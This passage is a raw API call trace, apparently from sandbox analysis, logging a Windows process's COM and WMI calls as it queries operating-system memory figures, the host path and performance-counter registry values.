ppvObject=0x1d2dd580*=0x1b351b70) returned 0x0 [0254.645] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0254.646] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0254.646] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0254.646] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0254.646] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0254.646] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35b520) returned 0x0 [0254.646] IUnknown:AddRef (This=0x1d35b520) returned 0x4 [0254.646] IUnknown:Release (This=0x1d35b520) returned 0x3 [0254.646] IUnknown:Release (This=0x1d35b520) returned 0x2 [0254.646] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0254.646] SysStringLen (param_1=0x0) returned 0x0 [0254.646] IEnumWbemClassObject:Reset (This=0x1d35b520) returned 0x0 [0254.647] CoTaskMemAlloc (cb=0x8) returned 0x5249b0 [0254.647] IEnumWbemClassObject:Next (in: This=0x1d35b520, lTimeout=-1, uCount=0x1, apObjects=0x5249b0, puReturned=0x27dbee0 | out: apObjects=0x5249b0*=0x1b348b00, puReturned=0x27dbee0*=0x1) returned 0x0 [0254.659] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b348b00) returned 0x0 [0254.659] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0254.659] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0254.660] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0254.660] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0254.660] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0254.660] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcb40 | out: ppvObject=0x1d2dcb40*=0x0) returned 0x80004002 [0254.660] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcb30 | out: ppvObject=0x1d2dcb30*=0x1b348b08) returned 0x0 [0254.660] IMarshal:GetUnmarshalClass (in: This=0x1b348b08, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcb58 | out: pCid=0x1d2dcb58*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0254.661] IUnknown:Release (This=0x1b348b08) returned 0x3 [0254.661] CoGetContextToken (in: pToken=0x1d2dcbe0 | out: pToken=0x1d2dcbe0) returned 0x0 [0254.661] CoGetContextToken (in: pToken=0x1d2dd060 | out: pToken=0x1d2dd060) returned 0x0 [0254.661] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0254.661] IUnknown:Release (This=0x1b348b00) returned 0x2 [0254.661] CoGetContextToken (in: pToken=0x1d2dd720 | out: pToken=0x1d2dd720) returned 0x0 [0254.661] CoGetContextToken (in: pToken=0x1d2dd620 | out: pToken=0x1d2dd620) returned 0x0 [0254.661] IUnknown:QueryInterface (in: This=0x1b348b00, riid=0x1d2dd780*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2dd750 | out: ppvObject=0x1d2dd750*=0x1b348b00) returned 0x0 [0254.662] IUnknown:AddRef (This=0x1b348b00) returned 0x4 [0254.662] IUnknown:Release (This=0x1b348b00) returned 0x3 [0254.662] IUnknown:Release (This=0x1b348b00) returned 0x2 [0254.662] CoTaskMemFree (pv=0x5249b0) [0254.662] CoGetContextToken (in: pToken=0x1d2ddaf0 | out: pToken=0x1d2ddaf0) returned 0x0 [0254.662] IUnknown:AddRef (This=0x1b348b00) returned 0x3 [0254.662] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__GENUS", lFlags=0, pVal=0x1d2de0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de1d8*=0, plFlavor=0x1d2de1d0*=0 | out: pVal=0x1d2de0b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1d2de1d8*=3, plFlavor=0x1d2de1d0*=64) returned 0x0 [0254.663] IWbemClassObject:Get (in: This=0x1b348b00, wszName="__PATH", lFlags=0, pVal=0x1d2de060*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1d2de190*=0, plFlavor=0x1d2de188*=0 | out: pVal=0x1d2de060*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1d2de190*=8, plFlavor=0x1d2de188*=64) returned 0x0 [0254.663] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0254.664] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0254.664] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de0d8 | out: ppv=0x1d2de0d8*=0x4b0108) returned 0x0 [0254.664] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de0c8 | out: pAptType=0x1d2de0c8*=1) returned 0x0 [0254.664] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de0d0 | out: ppvObject=0x1d2de0d0*=0x0) returned 0x80004002 [0254.664] IUnknown:Release (This=0x4b0108) returned 0x1 [0254.667] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd4c8 | out: ppv=0x1d2dd4c8*=0x1d4971c0) returned 0x0 [0254.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd5b0 | out: ppvObject=0x1d2dd5b0*=0x0) returned 0x80004002 [0254.667] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d4971c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd588 | out: ppvObject=0x1d2dd588*=0x4f3ac0) returned 0x0 [0254.667] WbemDefPath:IUnknown:Release (This=0x1d4971c0) returned 0x0 [0254.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0254.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0254.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0254.668] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0254.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0254.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0254.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d4972c0) returned 0x0 [0254.668] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d4972c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0254.668] WbemDefPath:IUnknown:Release (This=0x1d4972c0) returned 0x3 [0254.668] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0254.668] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0254.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0254.668] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0254.668] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0254.668] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0254.668] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0254.669] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0254.669] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0254.669] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0254.669] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0254.669] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0254.669] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0254.669] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0254.726] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0254.726] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.726] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dcd08*=0, plFlavor=0x27dcd0c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x27dcd08*=21, plFlavor=0x27dcd0c*=0) returned 0x0 [0254.726] SysStringByteLen (bstr="1395304") returned 0xe [0254.727] SysStringByteLen (bstr="1395304") returned 0xe [0254.727] IWbemClassObject:Get (in: This=0x1b348b00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dcd08*=21, plFlavor=0x27dcd0c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x27dcd08*=21, plFlavor=0x27dcd0c*=0) returned 0x0 [0254.727] SysStringByteLen (bstr="1395304") returned 0xe [0254.727] SysStringByteLen (bstr="1395304") returned 0xe [0254.730] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0254.730] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0254.730] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0254.730] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dcf00*=0, plFlavor=0x27dcf04*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dcf00*=21, plFlavor=0x27dcf04*=0) returned 0x0 [0254.730] SysStringByteLen (bstr="2096620") returned 0xe [0254.730] SysStringByteLen (bstr="2096620") returned 0xe [0254.730] IWbemClassObject:Get (in: This=0x1b348b00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dcf00*=21, plFlavor=0x27dcf04*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dcf00*=21, plFlavor=0x27dcf04*=0) returned 0x0 [0254.730] SysStringByteLen (bstr="2096620") returned 0xe [0254.730] SysStringByteLen (bstr="2096620") returned 0xe [0254.731] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0254.731] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0254.731] IUnknown:Release (This=0x1d35b520) returned 0x0 [0256.775] GetTickCount64 () returned 0xab71d7 [0256.777] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0256.778] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x27cb0c0, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x27cb0c0*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0256.782] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0256.782] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x27dc4d8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x27dc4d8*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0256.787] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0256.787] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0256.787] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0256.787] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0256.787] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0256.787] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0256.788] IUnknown:Release (This=0x4b0108) returned 0x1 [0256.788] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496d80) returned 0x0 [0256.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d80, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0256.789] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496d80, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d4970c0) returned 0x0 [0256.789] WbemLocator:IUnknown:Release (This=0x1d496d80) returned 0x0 [0256.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d4970c0) returned 0x0 [0256.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0256.789] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0256.790] WbemLocator:IUnknown:AddRef (This=0x1d4970c0) returned 0x3 [0256.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0256.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0256.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0256.790] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0256.790] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0256.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0256.790] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x2 [0256.790] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x1 [0256.790] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0256.790] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0256.790] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970c0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d4970c0) returned 0x0 [0256.790] WbemLocator:IUnknown:AddRef (This=0x1d4970c0) returned 0x3 [0256.790] WbemLocator:IUnknown:Release (This=0x1d4970c0) returned 0x2 [0256.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0256.791] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) 